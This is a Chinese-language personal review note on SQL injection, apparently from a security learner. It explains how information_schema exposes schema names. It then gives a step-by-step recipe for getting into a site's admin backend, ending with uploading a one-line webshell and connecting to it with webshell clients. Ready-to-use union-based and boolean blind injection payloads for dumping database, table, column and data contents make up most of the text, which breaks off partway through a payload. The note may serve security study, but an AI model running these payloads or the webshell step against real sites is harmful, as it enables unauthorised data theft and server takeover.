今天复习上个月学的漏洞的知识点。
一、SQL注入漏洞
sql注入是就是通过把SQL语句插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
理解这张图就可以理解sql注入的原理,因为在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。第一步我们查找数据库名,第二步我们通过查找tables表里的数据库,可以确定表名,第三步我们通过前两步得到的库名和表名就可以在columns这张表中得到字段名,最后一步我们通过前几步得到的数据库名、表名、字段名得到想要的数据。
如何通过进行sql注入,进后台?
1、找注入点,判断是否可以注入。
2、判断是数字型注入还是字符型注入。and 1=1 ;and 1=2
3、如果是字符型注入,判断闭合符。’ " ') ") …
4、优先使用联合查询注入->报错查询 ->bool型查询 ->时间盲注 ->宽字节
5、判断列数。 order by
6、判断显错位。 union select 1,2,3, …
7、求库、求表、求字段、求数据。
8、找后台,御剑扫后台目录。
9、上传一句话木马。菜刀,蚁剑连接
1、数字型注入
id=1' //报错,说明有注入点
id=1 and 1=1 //正确
id=1 and 1=2 //错误,说明是数字型注入,否者为字符型注入
order by //判断列数
and 1=2 union select 1,2,3, ... //判断显错位
and 1=2 union select 1,2,database() //求库
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' //求表
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' //求字段
and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名 //求数据
2、字符型注入(每句话的后面需要加--+)
id=1' //报错,说明有注入点
id=1’ and '1'='1 //正确
id=1' and '1'='2 //错误,说明是字符型注入
order by //判断列数
and 1=2 union select 1,2,3, ... //判断显错位
and 1=2 union select 1,2,database() //求库
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' //求表
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' //求字段
and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名 //求数据
3、bool盲注入
首先是判断是数字型还是字符型注入,在得到页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据,那么我们可以判断这是一个布尔型盲注。
and (select length(database()))=8 //求库名长度,
and (select ascii(substr(database(),1,1)))=98 //求库名,求八次
and ascii(substr(